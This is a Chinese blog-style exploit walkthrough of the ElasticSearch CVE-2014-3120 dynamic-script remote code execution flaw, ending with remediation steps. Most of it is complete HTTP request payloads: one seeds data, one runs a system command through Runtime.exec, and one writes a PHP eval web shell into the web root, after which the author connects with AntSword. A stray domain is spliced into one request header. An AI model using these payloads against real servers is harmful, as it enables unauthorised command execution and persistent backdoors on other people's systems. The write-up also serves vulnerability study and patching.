ElasticSearch简介
ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。支持通过HTTP使用JSON进行数据索引。
CVE-2014-3120原理       
ElasticSearch有脚本执行的功能,使用的引擎为MVEL,该引擎没有做任何的防护,或者沙盒包装,所以可以直接执行任意代码。
由于在ElasticSearch的默认配置下,动态脚本执行功能处于打开状态,导致用户可以构造恶意的请求包,执行任意代码。
漏洞测试       
ElasticSearch版本:v1.1.1
利用该漏洞之前,es至少需要存在一条数据,通过以下请求包创建数据:
POST /mitian/mitian6/ HTTP/1.1Host: 192.168.0.16:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 22{  "name": "kjsx"}
通过构造特定的数据包,执行任意命令:
POST /_search?pretty HTTP/1.1Host: 192.168.0.16:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 357{    "size": 1,    "query": {      "filtered": {        "query": {          "match_all": {          }        }      }    },    "script_fields": {        "command": {            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"pwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"        }    }}
getshell       
既然可以执行任意命令,那我们尝试一下getshell
假设服务器运行着其它web服务,那么我们可以利用该漏洞把webshell写入到web目录下,请求如下:
POST /_search?pretty HTTP/1.1Host: 192.168.0.16:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencoded www.gendan5.comContent-Length: 445{"size": 1,"query": {"filtered": {"query": {"match_all": {}}}},"script_fields": {"command": {"script": "import java.util.*;import java.io.*;PrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(\"/var/www/html/mitian.php\", true)));writer.println(\"<?php @eval($_POST[‘kjsx‘]);?>\");writer.close();"}}}
利用蚁剑,成功连接该webshell:
漏洞修复       
1、在配置文件config/elasticsearch.yml中,添加一行
script.disable_dynamic: true并重启服务
2、升级ElasticSearch到1.2版本以上
?
ElasticSearch 命令执行漏洞(CVE-2014-3120)
原文:https://www.cnblogs.com/gendan5/p/11589420.html